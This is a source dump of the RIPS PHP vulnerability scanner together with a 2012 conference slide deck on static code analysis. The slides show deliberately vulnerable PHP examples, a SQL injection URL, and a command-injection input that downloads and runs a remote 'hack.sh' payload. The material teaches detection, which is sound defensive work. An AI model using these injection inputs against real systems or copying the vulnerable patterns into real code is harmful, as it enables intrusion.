if( $this->tokens[$i - $f] === ')' ) { $newbraceopen++; } unset($this->tokens[$i - $f]); $f++; if(($i-$f)<0 || $this->tokens[$i - $f] === ';') { addError('Could not find opening parenthesis in ternary operator (2).', array_slice($this->tokens, $i-8, 6), $this->tokens[$i+1][2], $this->filename); break; } } //delete token before, if T_STRING if(is_array($this->tokens[$i-$f]) && ($this->tokens[$i-$f][0] === T_STRING || $this->tokens[$i-$f][0] === T_EMPTY || $this->tokens[$i-$f][0] === T_ISSET)) { unset($this->tokens[$i-$f]); } } unset($this->tokens[$i-3]); } // condition is a single variable, delete else if(is_array($this->tokens[$i-1]) && $this->tokens[$i-1][0] === T_VARIABLE) { unset($this->tokens[$i-1]); } } } // return tokens with rearranged key index $this->tokens = array_values($this->tokens); } } ================================================ FILE: main.php ================================================ . **/ ############################### INCLUDES ################################ include('config/general.php'); // general settings include('config/sources.php'); // tainted variables and functions include('config/tokens.php'); // tokens for lexical analysis include('config/securing.php'); // securing functions include('config/sinks.php'); // sensitive sinks include('config/info.php'); // interesting functions include('lib/constructer.php'); // classes include('lib/filer.php'); // read files from dirs and subdirs include('lib/tokenizer.php'); // prepare and fix token list include('lib/analyzer.php'); // string analyzers include('lib/scanner.php'); // provides class for scan include('lib/printer.php'); // output scan result include('lib/searcher.php'); // search functions ############################### MAIN #################################### $start = microtime(TRUE); $output = array(); $info = array(); $scanned_files = array(); if(!empty($_POST['loc'])) { $location = realpath($_POST['loc']); if(is_dir($location)) { $scan_subdirs = isset($_POST['subdirs']) ? $_POST['subdirs'] : false; $files = read_recursiv($location, $scan_subdirs); if(count($files) > WARNFILES && !isset($_POST['ignore_warning'])) die('warning:'.count($files)); } else if(is_file($location) && in_array(substr($location, strrpos($location, '.')), $FILETYPES)) { $files[0] = $location; } else { $files = array(); } // SCAN if(empty($_POST['search'])) { $user_functions = array(); $user_functions_offset = array(); $user_input = array(); $file_sinks_count = array(); $count_xss=$count_sqli=$count_fr=$count_fa=$count_fi=$count_exec=$count_code=$count_eval=$count_xpath=$count_ldap=$count_con=$count_other=$count_pop=$count_inc=$count_inc_fail=$count_header=$count_sf=$count_ri=0; $verbosity = isset($_POST['verbosity']) ? $_POST['verbosity'] : 1; $scan_functions = array(); $info_functions = Info::$F_INTEREST; if($verbosity != 5) { switch($_POST['vector']) { case 'xss': $scan_functions = $F_XSS; break; case 'httpheader': $scan_functions = $F_HTTP_HEADER; break; case 'fixation': $scan_functions = $F_SESSION_FIXATION; break; case 'code': $scan_functions = $F_CODE; break; case 'ri': $scan_functions = $F_REFLECTION; break; case 'file_read': $scan_functions = $F_FILE_READ; break; case 'file_affect': $scan_functions = $F_FILE_AFFECT; break; case 'file_include':$scan_functions = $F_FILE_INCLUDE; break; case 'exec': $scan_functions = $F_EXEC; break; case 'database': $scan_functions = $F_DATABASE; break; case 'xpath': $scan_functions = $F_XPATH; break; case 'ldap': $scan_functions = $F_LDAP; break; case 'connect': $scan_functions = $F_CONNECT; break; case 'other': $scan_functions = $F_OTHER; break; case 'unserialize': { $scan_functions = $F_POP; $info_functions = Info::$F_INTEREST_POP; $source_functions = array('unserialize'); $verbosity = 2; } break; case 'client': $scan_functions = array_merge( $F_XSS, $F_HTTP_HEADER, $F_SESSION_FIXATION ); break; case 'server': $scan_functions = array_merge( $F_CODE, $F_REFLECTION, $F_FILE_READ, $F_FILE_AFFECT, $F_FILE_INCLUDE, $F_EXEC, $F_DATABASE, $F_XPATH, $F_LDAP, $F_CONNECT, $F_POP, $F_OTHER ); break; case 'all': default: $scan_functions = array_merge( $F_XSS, $F_HTTP_HEADER, $F_SESSION_FIXATION, $F_CODE, $F_REFLECTION, $F_FILE_READ, $F_FILE_AFFECT, $F_FILE_INCLUDE, $F_EXEC, $F_DATABASE, $F_XPATH, $F_LDAP, $F_CONNECT, $F_POP, $F_OTHER ); break; } } if($_POST['vector'] !== 'unserialize') { $source_functions = Sources::$F_OTHER_INPUT; // add file and database functions as tainting functions if( $verbosity > 1 && $verbosity < 5 ) { $source_functions = array_merge(Sources::$F_OTHER_INPUT, Sources::$F_FILE_INPUT, Sources::$F_DATABASE_INPUT); } } $overall_time = 0; $timeleft = 0; $file_amount = count($files); if (defined("MODE_CLI")) echo "\n
    "; //hide metadata for($fit=0; $fit<$file_amount; $fit++) { // for scanning display $thisfile_start = microtime(TRUE); $file_scanning = $files[$fit]; echo ($fit) . '|' . $file_amount . '|' . $file_scanning . '|' . $timeleft . '|' . "\n"; @ob_flush(); flush(); // scan $scan = new Scanner($file_scanning, $scan_functions, $info_functions, $source_functions); $scan->parse(); $scanned_files[$file_scanning] = $scan->inc_map; $overall_time += microtime(TRUE) - $thisfile_start; // timeleft = average_time_per_file * file_amount_left $timeleft = round(($overall_time/($fit+1)) * ($file_amount - $fit+1),2); } #die("done"); echo "STATS_DONE.\n"; if (defined("MODE_CLI")) echo "\n
    "; //hide metadata @ob_flush(); flush(); } // SEARCH else if(!empty($_POST['regex'])) { $count_matches = 0; $verbosity = 0; foreach($files as $file_name) { searchFile($file_name, $_POST['regex']); } } } $elapsed = microtime(TRUE) - $start; ################################ RESULT ################################# ?>
    ↵ return
    user defined functions and calls
    (graph not available in debug mode)'; ?>
    user input
    scanned files and includes
    Result

    0) { if($count_code > 0) statsRow(1, $NAME_CODE, $count_code, $count_all); if($count_exec > 0) statsRow(2, $NAME_EXEC, $count_exec, $count_all); if($count_con > 0) statsRow(3, $NAME_CONNECT, $count_con, $count_all); if($count_fr > 0) statsRow(4, $NAME_FILE_READ, $count_fr, $count_all); if($count_fi > 0) statsRow(5, $NAME_FILE_INCLUDE, $count_fi, $count_all); if($count_fa > 0) statsRow(6, $NAME_FILE_AFFECT, $count_fa, $count_all); if($count_ldap > 0) statsRow(7, $NAME_LDAP, $count_ldap, $count_all); if($count_sqli > 0) statsRow(8, $NAME_DATABASE, $count_sqli, $count_all); if($count_xpath > 0) statsRow(9, $NAME_XPATH, $count_xpath, $count_all); if($count_xss > 0) statsRow(10, $NAME_XSS, $count_xss, $count_all); if($count_header > 0) statsRow(11, $NAME_HTTP_HEADER, $count_header, $count_all); if($count_sf > 0) statsRow(12, $NAME_SESSION_FIXATION, $count_sf, $count_all); if($count_other > 0) statsRow(13, $NAME_OTHER, $count_other, $count_all); if($count_ri > 0) statsRow(14, $NAME_REFLECTION, $count_ri, $count_all); if($count_pop > 0) statsRow(15, $NAME_POP, $count_pop, $count_all); echo ''; } else { echo ''; } } else { echo ''; } echo '
    Sum:',$count_all,'
    No vulnerabilities found.
    ',(($count_matches == 0) ? 'No' : $count_matches),' matches found.

    ', ''; if(empty($_POST['search'])) { echo '', '', '', '', '', '
    Scanned files:',count($files),'
    Include success:'; if($count_inc > 0) { echo ($count_inc_success=$count_inc-$count_inc_fail).'/'.$count_inc, ' ('.$round_inc_success=round(($count_inc_success/$count_inc)*100,0).'%)'; } else { echo 'No includes.'; } echo '
    Considered sinks:',count($scan_functions),''; if(empty($_POST['search']) && $count_all > 0) { echo '
    '; } echo '
    User-defined functions:'.(count($user_functions_offset)-(count($user_functions_offset)>0?1:0)).'
    Unique sources:'.count($user_input).'
    Sensitive sinks:'.(is_array($file_sinks_count) ? array_sum($file_sinks_count) : 0).'

    '; // output info gathering if( !empty($info) || ($count_inc>0 && $round_inc_success < 75 && !$scan_subdirs && count($files)>1) ) { $info = array_unique($info); echo ''; foreach($info as $detail) { echo ''; } if($count_inc>0 && $round_inc_success < 75 && !$scan_subdirs && count($files)>1) { echo ''; } echo '
    Info:',$detail,'
    Info:Your include success is low. Enable subdirs for better filename guesses.

    '; } echo '
    Get the next generation of RIPS
    with state-of-the-art code analysis!

    '; } ?>
    Scan time:
    ================================================ FILE: papers/LCA 2012_ PHP Static Code Analysis.html ================================================ LCA 2012: PHP Static Code Analysis

    Vulnerabilities crash course

    Unsanitized user input

    Quick quiz:

    What happens next?

    $id = $_GET['id']; 
    $username = "user" . $id;
    mysqli_query( "
    	SELECT * 
    	FROM Users 
    	WHERE Username = '" . $username . "' AND Valid = 1" );
    		

    Source: http://lotr.wikia.com

    Problem:

    http://example.com/?id=1' OR 1 #

    $id = $_GET['id']; 
    $username = "user" . $id;
    mysqli_query( "
    	SELECT * 
    	FROM Users 
    	WHERE Username = '" . $username . "' AND Valid = 1" );
    				
    SELECT * 
    FROM Users 
    WHERE Username = 'user1' OR 1 # AND Valid = 1"
    				

    Source: http://xkcd.com/327
    title="Her daughter is named Help I'm trapped in a driver's license factory."

    Okay, but that was fairly obvious!

    But what about...

    foreach ( $_REQUEST as $key => $value )
    {
    	$$key = $value;
    }
    ...
    // 25 lines of miscellanious, unrelated code
    ...
    mysqli_query(
    	"SELECT * FROM Users WHERE Username = '" . $username . "'" );
    	

    Source: http://lotr.wikia.com

    "Just don't do it"

    My problem:

    $taintedCmd = "wc -w " . $_GET['file'];
    shell_exec( $taintedCmd );
    		

    Source: http://lotr.wikia.com

    Problem:

    http://example.com/?file=
      file.txt' &&
      wget http://dogeysite.com/hack.zip &&
      unzip hack.zip &&
      ./hack.sh #

    First thought:

    grep -r -B 10 -i "shell_exec" >> commandExecutions.txt 
            
    ...
    file.php-     $cmd = "find -name '" . $name . "' documents/";
    file.php-   }
    file.php- }   
    file.php: echo shell_exec( $cmd );
            

    http://www.sciencephoto.com

    But...

    http://looneytunes09.files.wordpress.com/2010/08/landfill.jpg

    How do you detect vulnerabilities in code?

    http://www.google.com.au/search?q=
      how+do+you+detect+vulnerabilities+in+code

    Static Code Analysis (SCA)

    Source Code Analysis

    Static Program Analysis

    Compile Time Analysis (well, not for PHP)

    Analysis without execution

    Optimising compilers (e.g. g++)

    IDE's with type checking/code completion

    Step 1: Lexical analysis

    Split code into tokens

    Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download

    Step 2: Semantic analysis

    print "print";

    First print is a command

    Second print is a string

    Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download

    Step 3: Control flow analysis

    function firstCall( $input ) {
    	return secondCall( $input ) . " - 1st";
    }
    
    function secondCall( $input ) {
    	return $input . " - 2nd";
    }
    
    firstCall( "input" );
    Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download

    Step 4: Data flow analysis

    function firstCall( $input ) {
    	return secondCall( escapeshellarg( $input ) );
    }
    
    function secondCall( $input ) {
    	return shell_exec( $input ); // Is $input safe?
    }
    
    firstCall( $_GET['input'] );  // Safe
    secondCall( $_GET['input'] ); // Not-safe
    Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download
    http://www.flickr.com/photos/ruthyyy/5000648691

    RIPS - PHP Scanner

    http://www.phpscanner.net

    Example time

    Example 2

    function vulnFunction( $cmd ) {
    	$result = shell_exec( $cmd );
    }
    
    function intermittentFunction( $input ) {
    	$param = "test " . $input . " bleh";
    	vulnFunction( $param );
    }
    
    $firstHand = $_GET['input'];
    $secondHand = "IMZ TAINTED: " . $firstHand . ", YEAH!";
    
    intermittentFunction( $secondHand );
    		
    http://rips.gamma.peter.serwylo.com/
    /srv/http-rips/tests/vuln2.php

    Miscellanious PHP projects from freecode.com

    (formally freshmeat.net)

    Example 3


    False Positives


    http://www.cancrusher.co.za

    Custom Securing Functions

    http://winningateverything.com

    Custom Securing Functions

    config/securing.php

    // securing functions for file handling
    $F_SECURING_FILE = array(
    	'sanitize_filename'
    );
    	

    Custom Securing Functions

    config/securing.php

    // securing functions for every vulnerability
    $F_SECURING_STRING = array(
    	'sanitize_int',
    	'intval',
    	'floatval',
    	'md5',
    	...
    		

    Limitations

    • OOP not supported
    • Can't successfully resolve all includes
    • Browser based
    • Slow to scan

    What I'd love to see

    Plugins for php compilers (e.g. HipHop/phc/rphp)

    • Written in C++ for improved performance
    • Already have established parsers
    • Already analyse code for optimisations

    Thanks for listening

    Questions?

    ================================================ FILE: papers/LCA 2012_ PHP Static Code Analysis_files/a.html ================================================ ================================================ FILE: papers/LCA 2012_ PHP Static Code Analysis_files/css.css ================================================ @font-face { font-family: 'Droid Sans Mono'; font-style: normal; font-weight: 400; src: local('Droid Sans Mono'), local('DroidSansMono'), url(http://themes.googleusercontent.com/static/fonts/droidsansmono/v4/ns-m2xQYezAtqh7ai59hJaH0X__W3S3MJL29bc5CWfs.woff) format('woff'); } @font-face { font-family: 'Open Sans'; font-style: normal; font-weight: 400; src: local('Open Sans'), local('OpenSans'), url(http://themes.googleusercontent.com/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3bO3LdcAZYWl9Si6vvxL-qU.woff) format('woff'); } @font-face { font-family: 'Open Sans'; font-style: normal; font-weight: 600; src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(http://themes.googleusercontent.com/static/fonts/opensans/v6/MTP_ySUJH_bn48VBG8sNSqRDOzjiPcYnFooOUGCOsRk.woff) format('woff'); } @font-face { font-family: 'Open Sans'; font-style: italic; font-weight: 400; src: local('Open Sans Italic'), local('OpenSans-Italic'), url(http://themes.googleusercontent.com/static/fonts/opensans/v6/xjAJXh38I15wypJXxuGMBrrIa-7acMAeDBVuclsi6Gc.woff) format('woff'); } @font-face { font-family: 'Open Sans'; font-style: italic; font-weight: 600; src: local('Open Sans Semibold Italic'), local('OpenSans-SemiboldItalic'), url(http://themes.googleusercontent.com/static/fonts/opensans/v6/PRmiXeptR36kaC0GEAetxuw_rQOTGi-AJs5XCWaKIhU.woff) format('woff'); } ================================================ FILE: papers/LCA 2012_ PHP Static Code Analysis_files/prettify.txt ================================================ // Copyright (C) 2006 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview * some functions for browser-side pretty printing of code contained in html. * *

    * For a fairly comprehensive set of languages see the * README * file that came with this source. At a minimum, the lexer should work on a * number of languages including C and friends, Java, Python, Bash, SQL, HTML, * XML, CSS, Javascript, and Makefiles. It works passably on Ruby, PHP and Awk * and a subset of Perl, but, because of commenting conventions, doesn't work on * Smalltalk, Lisp-like, or CAML-like languages without an explicit lang class. *

    * Usage:

      *
    1. include this source file in an html page via * {@code } *
    2. define style rules. See the example page for examples. *
    3. mark the {@code
      } and {@code } tags in your source with
       *    {@code class=prettyprint.}
       *    You can also use the (html deprecated) {@code } tag, but the pretty
       *    printer needs to do more substantial DOM manipulations to support that, so
       *    some css styles may not be preserved.
       * </ol>
       * That's it.  I wanted to keep the API as simple as possible, so there's no
       * need to specify which language the code is in, but if you wish, you can add
       * another class to the {@code <pre>} or {@code <code>} element to specify the
       * language, as in {@code <pre class="prettyprint lang-java">}.  Any class that
       * starts with "lang-" followed by a file extension, specifies the file type.
       * See the "lang-*.js" files in this directory for code that implements
       * per-language file handlers.
       * <p>
       * Change log:<br>
       * cbeust, 2006/08/22
       * <blockquote>
       *   Java annotations (start with "@") are now captured as literals ("lit")
       * </blockquote>
       * @requires console
       */
      
      // JSLint declarations
      /*global console, document, navigator, setTimeout, window */
      
      /**
       * Split {@code prettyPrint} into multiple timeouts so as not to interfere with
       * UI events.
       * If set to {@code false}, {@code prettyPrint()} is synchronous.
       */
      window['PR_SHOULD_USE_CONTINUATION'] = true;
      
      /** the number of characters between tab columns */
      window['PR_TAB_WIDTH'] = 8;
      
      /** Contains functions for creating and registering new language handlers.
        * @type {Object}
        */
      window['PR']
      
      /** Pretty print a chunk of code.
        *
        * @param {string} sourceCodeHtml code as html
        * @return {string} code as html, but prettier
        */
        = window['prettyPrintOne']
      /** Find all the {@code <pre>} and {@code <code>} tags in the DOM with
        * {@code class=prettyprint} and prettify them.
        * @param {Function?} opt_whenDone if specified, called when the last entry
        *     has been finished.
        */
        = window['prettyPrint'] = void 0;
      
      
      (function () {
        // Keyword lists for various languages.
        var FLOW_CONTROL_KEYWORDS =
            "break continue do else for if return while ";
        var C_KEYWORDS = FLOW_CONTROL_KEYWORDS + "auto case char const default " +
            "double enum extern float goto int long register short signed sizeof " +
            "static struct switch typedef union unsigned void volatile ";
        var COMMON_KEYWORDS = C_KEYWORDS + "catch class delete false import " +
            "new operator private protected public this throw true try typeof ";
        var CPP_KEYWORDS = COMMON_KEYWORDS + "alignof align_union asm axiom bool " +
            "concept concept_map const_cast constexpr decltype " +
            "dynamic_cast explicit export friend inline late_check " +
            "mutable namespace nullptr reinterpret_cast static_assert static_cast " +
            "template typeid typename using virtual wchar_t where ";
        var JAVA_KEYWORDS = COMMON_KEYWORDS +
            "abstract boolean byte extends final finally implements import " +
            "instanceof null native package strictfp super synchronized throws " +
            "transient ";
        var CSHARP_KEYWORDS = JAVA_KEYWORDS +
            "as base by checked decimal delegate descending dynamic event " +
            "fixed foreach from group implicit in interface internal into is lock " +
            "object out override orderby params partial readonly ref sbyte sealed " +
            "stackalloc string select uint ulong unchecked unsafe ushort var ";
        var COFFEE_KEYWORDS = "all and by catch class else extends false finally " +
            "for if in is isnt loop new no not null of off on or return super then " +
            "true try unless until when while yes ";
        var JSCRIPT_KEYWORDS = COMMON_KEYWORDS +
            "debugger eval export function get null set undefined var with " +
            "Infinity NaN ";
        var PERL_KEYWORDS = "caller delete die do dump elsif eval exit foreach for " +
            "goto if import last local my next no our print package redo require " +
            "sub undef unless until use wantarray while BEGIN END ";
        var PYTHON_KEYWORDS = FLOW_CONTROL_KEYWORDS + "and as assert class def del " +
            "elif except exec finally from global import in is lambda " +
            "nonlocal not or pass print raise try with yield " +
            "False True None ";
        var RUBY_KEYWORDS = FLOW_CONTROL_KEYWORDS + "alias and begin case class def" +
            " defined elsif end ensure false in module next nil not or redo rescue " +
            "retry self super then true undef unless until when yield BEGIN END ";
        var SH_KEYWORDS = FLOW_CONTROL_KEYWORDS + "case done elif esac eval fi " +
            "function in local set then until ";
        var ALL_KEYWORDS = (
            CPP_KEYWORDS + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS +
            PYTHON_KEYWORDS + RUBY_KEYWORDS + SH_KEYWORDS);
      
        // token style names.  correspond to css classes
        /** token style for a string literal */
        var PR_STRING = 'str';
        /** token style for a keyword */
        var PR_KEYWORD = 'kwd';
        /** token style for a comment */
        var PR_COMMENT = 'com';
        /** token style for a type */
        var PR_TYPE = 'typ';
        /** token style for a literal value.  e.g. 1, null, true. */
        var PR_LITERAL = 'lit';
        /** token style for a punctuation string. */
        var PR_PUNCTUATION = 'pun';
        /** token style for a punctuation string. */
        var PR_PLAIN = 'pln';
      
        /** token style for an sgml tag. */
        var PR_TAG = 'tag';
        /** token style for a markup declaration such as a DOCTYPE. */
        var PR_DECLARATION = 'dec';
        /** token style for embedded source. */
        var PR_SOURCE = 'src';
        /** token style for an sgml attribute name. */
        var PR_ATTRIB_NAME = 'atn';
        /** token style for an sgml attribute value. */
        var PR_ATTRIB_VALUE = 'atv';
      
        /**
         * A class that indicates a section of markup that is not code, e.g. to allow
         * embedding of line numbers within code listings.
         */
        var PR_NOCODE = 'nocode';
      
        /** A set of tokens that can precede a regular expression literal in
          * javascript.
          * http://www.mozilla.org/js/language/js20/rationale/syntax.html has the full
          * list, but I've removed ones that might be problematic when seen in
          * languages that don't support regular expression literals.
          *
          * <p>Specifically, I've removed any keywords that can't precede a regexp
          * literal in a syntactically legal javascript program, and I've removed the
          * "in" keyword since it's not a keyword in many languages, and might be used
          * as a count of inches.
          *
          * <p>The link a above does not accurately describe EcmaScript rules since
          * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works
          * very well in practice.
          *
          * @private
          */
        var REGEXP_PRECEDER_PATTERN = function () {
            var preceders = [
                "!", "!=", "!==", "#", "%", "%=", "&", "&&", "&&=",
                "&=", "(", "*", "*=", /* "+", */ "+=", ",", /* "-", */ "-=",
                "->", /*".", "..", "...", handled below */ "/", "/=", ":", "::", ";",
                "<", "<<", "<<=", "<=", "=", "==", "===", ">",
                ">=", ">>", ">>=", ">>>", ">>>=", "?", "@", "[",
                "^", "^=", "^^", "^^=", "{", "|", "|=", "||",
                "||=", "~" /* handles =~ and !~ */,
                "break", "case", "continue", "delete",
                "do", "else", "finally", "instanceof",
                "return", "throw", "try", "typeof"
                ];
            var pattern = '(?:^^|[+-]';
            for (var i = 0; i < preceders.length; ++i) {
              pattern += '|' + preceders[i].replace(/([^=<>:&a-z])/g, '\\$1');
            }
            pattern += ')\\s*';  // matches at end, and matches empty string
            return pattern;
            // CAVEAT: this does not properly handle the case where a regular
            // expression immediately follows another since a regular expression may
            // have flags for case-sensitivity and the like.  Having regexp tokens
            // adjacent is not valid in any language I'm aware of, so I'm punting.
            // TODO: maybe style special characters inside a regexp as punctuation.
          }();
      
        
        /**
         * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally
         * matches the union of the sets of strings matched by the input RegExp.
         * Since it matches globally, if the input strings have a start-of-input
         * anchor (/^.../), it is ignored for the purposes of unioning.
         * @param {Array.<RegExp>} regexs non multiline, non-global regexs.
         * @return {RegExp} a global regex.
         */
        function combinePrefixPatterns(regexs) {
          var capturedGroupIndex = 0;
        
          var needToFoldCase = false;
          var ignoreCase = false;
          for (var i = 0, n = regexs.length; i < n; ++i) {
            var regex = regexs[i];
            if (regex.ignoreCase) {
              ignoreCase = true;
            } else if (/[a-z]/i.test(regex.source.replace(
                           /\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi, ''))) {
              needToFoldCase = true;
              ignoreCase = false;
              break;
            }
          }
        
          function decodeEscape(charsetPart) {
            if (charsetPart.charAt(0) !== '\\') { return charsetPart.charCodeAt(0); }
            switch (charsetPart.charAt(1)) {
              case 'b': return 8;
              case 't': return 9;
              case 'n': return 0xa;
              case 'v': return 0xb;
              case 'f': return 0xc;
              case 'r': return 0xd;
              case 'u': case 'x':
                return parseInt(charsetPart.substring(2), 16)
                    || charsetPart.charCodeAt(1);
              case '0': case '1': case '2': case '3': case '4':
              case '5': case '6': case '7':
                return parseInt(charsetPart.substring(1), 8);
              default: return charsetPart.charCodeAt(1);
            }
          }
        
          function encodeEscape(charCode) {
            if (charCode < 0x20) {
              return (charCode < 0x10 ? '\\x0' : '\\x') + charCode.toString(16);
            }
            var ch = String.fromCharCode(charCode);
            if (ch === '\\' || ch === '-' || ch === '[' || ch === ']') {
              ch = '\\' + ch;
            }
            return ch;
          }
        
          function caseFoldCharset(charSet) {
            var charsetParts = charSet.substring(1, charSet.length - 1).match(
                new RegExp(
                    '\\\\u[0-9A-Fa-f]{4}'
                    + '|\\\\x[0-9A-Fa-f]{2}'
                    + '|\\\\[0-3][0-7]{0,2}'
                    + '|\\\\[0-7]{1,2}'
                    + '|\\\\[\\s\\S]'
                    + '|-'
                    + '|[^-\\\\]',
                    'g'));
            var groups = [];
            var ranges = [];
            var inverse = charsetParts[0] === '^';
            for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) {
              var p = charsetParts[i];
              switch (p) {
                case '\\B': case '\\b':
                case '\\D': case '\\d':
                case '\\S': case '\\s':
                case '\\W': case '\\w':
                  groups.push(p);
                  continue;
              }
              var start = decodeEscape(p);
              var end;
              if (i + 2 < n && '-' === charsetParts[i + 1]) {
                end = decodeEscape(charsetParts[i + 2]);
                i += 2;
              } else {
                end = start;
              }
              ranges.push([start, end]);
              // If the range might intersect letters, then expand it.
              if (!(end < 65 || start > 122)) {
                if (!(end < 65 || start > 90)) {
                  ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]);
                }
                if (!(end < 97 || start > 122)) {
                  ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]);
                }
              }
            }
        
            // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]]
            // -> [[1, 12], [14, 14], [16, 17]]
            ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1]  - a[1]); });
            var consolidatedRanges = [];
            var lastRange = [NaN, NaN];
            for (var i = 0; i < ranges.length; ++i) {
              var range = ranges[i];
              if (range[0] <= lastRange[1] + 1) {
                lastRange[1] = Math.max(lastRange[1], range[1]);
              } else {
                consolidatedRanges.push(lastRange = range);
              }
            }
        
            var out = ['['];
            if (inverse) { out.push('^'); }
            out.push.apply(out, groups);
            for (var i = 0; i < consolidatedRanges.length; ++i) {
              var range = consolidatedRanges[i];
              out.push(encodeEscape(range[0]));
              if (range[1] > range[0]) {
                if (range[1] + 1 > range[0]) { out.push('-'); }
                out.push(encodeEscape(range[1]));
              }
            }
            out.push(']');
            return out.join('');
          }
        
          function allowAnywhereFoldCaseAndRenumberGroups(regex) {
            // Split into character sets, escape sequences, punctuation strings
            // like ('(', '(?:', ')', '^'), and runs of characters that do not
            // include any of the above.
            var parts = regex.source.match(
                new RegExp(
                    '(?:'
                    + '\\[(?:[^\\x5C\\x5D]|\\\\[\\s\\S])*\\]'  // a character set
                    + '|\\\\u[A-Fa-f0-9]{4}'  // a unicode escape
                    + '|\\\\x[A-Fa-f0-9]{2}'  // a hex escape
                    + '|\\\\[0-9]+'  // a back-reference or octal escape
                    + '|\\\\[^ux0-9]'  // other escape sequence
                    + '|\\(\\?[:!=]'  // start of a non-capturing group
                    + '|[\\(\\)\\^]'  // start/emd of a group, or line start
                    + '|[^\\x5B\\x5C\\(\\)\\^]+'  // run of other characters
                    + ')',
                    'g'));
            var n = parts.length;
        
            // Maps captured group numbers to the number they will occupy in
            // the output or to -1 if that has not been determined, or to
            // undefined if they need not be capturing in the output.
            var capturedGroups = [];
        
            // Walk over and identify back references to build the capturedGroups
            // mapping.
            for (var i = 0, groupIndex = 0; i < n; ++i) {
              var p = parts[i];
              if (p === '(') {
                // groups are 1-indexed, so max group index is count of '('
                ++groupIndex;
              } else if ('\\' === p.charAt(0)) {
                var decimalValue = +p.substring(1);
                if (decimalValue && decimalValue <= groupIndex) {
                  capturedGroups[decimalValue] = -1;
                }
              }
            }
        
            // Renumber groups and reduce capturing groups to non-capturing groups
            // where possible.
            for (var i = 1; i < capturedGroups.length; ++i) {
              if (-1 === capturedGroups[i]) {
                capturedGroups[i] = ++capturedGroupIndex;
              }
            }
            for (var i = 0, groupIndex = 0; i < n; ++i) {
              var p = parts[i];
              if (p === '(') {
                ++groupIndex;
                if (capturedGroups[groupIndex] === undefined) {
                  parts[i] = '(?:';
                }
              } else if ('\\' === p.charAt(0)) {
                var decimalValue = +p.substring(1);
                if (decimalValue && decimalValue <= groupIndex) {
                  parts[i] = '\\' + capturedGroups[groupIndex];
                }
              }
            }
        
            // Remove any prefix anchors so that the output will match anywhere.
            // ^^ really does mean an anchored match though.
            for (var i = 0, groupIndex = 0; i < n; ++i) {
              if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; }
            }
        
            // Expand letters to groups to handle mixing of case-sensitive and
            // case-insensitive patterns if necessary.
            if (regex.ignoreCase && needToFoldCase) {
              for (var i = 0; i < n; ++i) {
                var p = parts[i];
                var ch0 = p.charAt(0);
                if (p.length >= 2 && ch0 === '[') {
                  parts[i] = caseFoldCharset(p);
                } else if (ch0 !== '\\') {
                  // TODO: handle letters in numeric escapes.
                  parts[i] = p.replace(
                      /[a-zA-Z]/g,
                      function (ch) {
                        var cc = ch.charCodeAt(0);
                        return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']';
                      });
                }
              }
            }
        
            return parts.join('');
          }
        
          var rewritten = [];
          for (var i = 0, n = regexs.length; i < n; ++i) {
            var regex = regexs[i];
            if (regex.global || regex.multiline) { throw new Error('' + regex); }
            rewritten.push(
                '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')');
          }
        
          return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g');
        }
      
      
        /**
         * Split markup into a string of source code and an array mapping ranges in
         * that string to the text nodes in which they appear.
         *
         * <p>
         * The HTML DOM structure:</p>
         * <pre>
         * (Element   "p"
         *   (Element "b"
         *     (Text  "print "))       ; #1
         *   (Text    "'Hello '")      ; #2
         *   (Element "br")            ; #3
         *   (Text    "  + 'World';")) ; #4
         * </pre>
         * <p>
         * corresponds to the HTML
         * {@code <p><b>print </b>'Hello '<br>  + 'World';</p>}.</p>
         *
         * <p>
         * It will produce the output:</p>
         * <pre>
         * {
         *   source: "print 'Hello '\n  + 'World';",
         *   //                 1         2
         *   //       012345678901234 5678901234567
         *   spans: [0, #1, 6, #2, 14, #3, 15, #4]
         * }
         * </pre>
         * <p>
         * where #1 is a reference to the {@code "print "} text node above, and so
         * on for the other text nodes.
         * </p>
         *
         * <p>
         * The {@code} spans array is an array of pairs.  Even elements are the start
         * indices of substrings, and odd elements are the text nodes (or BR elements)
         * that contain the text for those substrings.
         * Substrings continue until the next index or the end of the source.
         * </p>
         *
         * @param {Node} node an HTML DOM subtree containing source-code.
         * @return {Object} source code and the text nodes in which they occur.
         */
        function extractSourceSpans(node) {
          var nocode = /(?:^|\s)nocode(?:\s|$)/;
        
          var chunks = [];
          var length = 0;
          var spans = [];
          var k = 0;
        
          var whitespace;
          if (node.currentStyle) {
            whitespace = node.currentStyle.whiteSpace;
          } else if (window.getComputedStyle) {
            whitespace = document.defaultView.getComputedStyle(node, null)
                .getPropertyValue('white-space');
          }
          var isPreformatted = whitespace && 'pre' === whitespace.substring(0, 3);
        
          function walk(node) {
            switch (node.nodeType) {
              case 1:  // Element
                if (nocode.test(node.className)) { return; }
                for (var child = node.firstChild; child; child = child.nextSibling) {
                  walk(child);
                }
                var nodeName = node.nodeName;
                if ('BR' === nodeName || 'LI' === nodeName) {
                  chunks[k] = '\n';
                  spans[k << 1] = length++;
                  spans[(k++ << 1) | 1] = node;
                }
                break;
              case 3: case 4:  // Text
                var text = node.nodeValue;
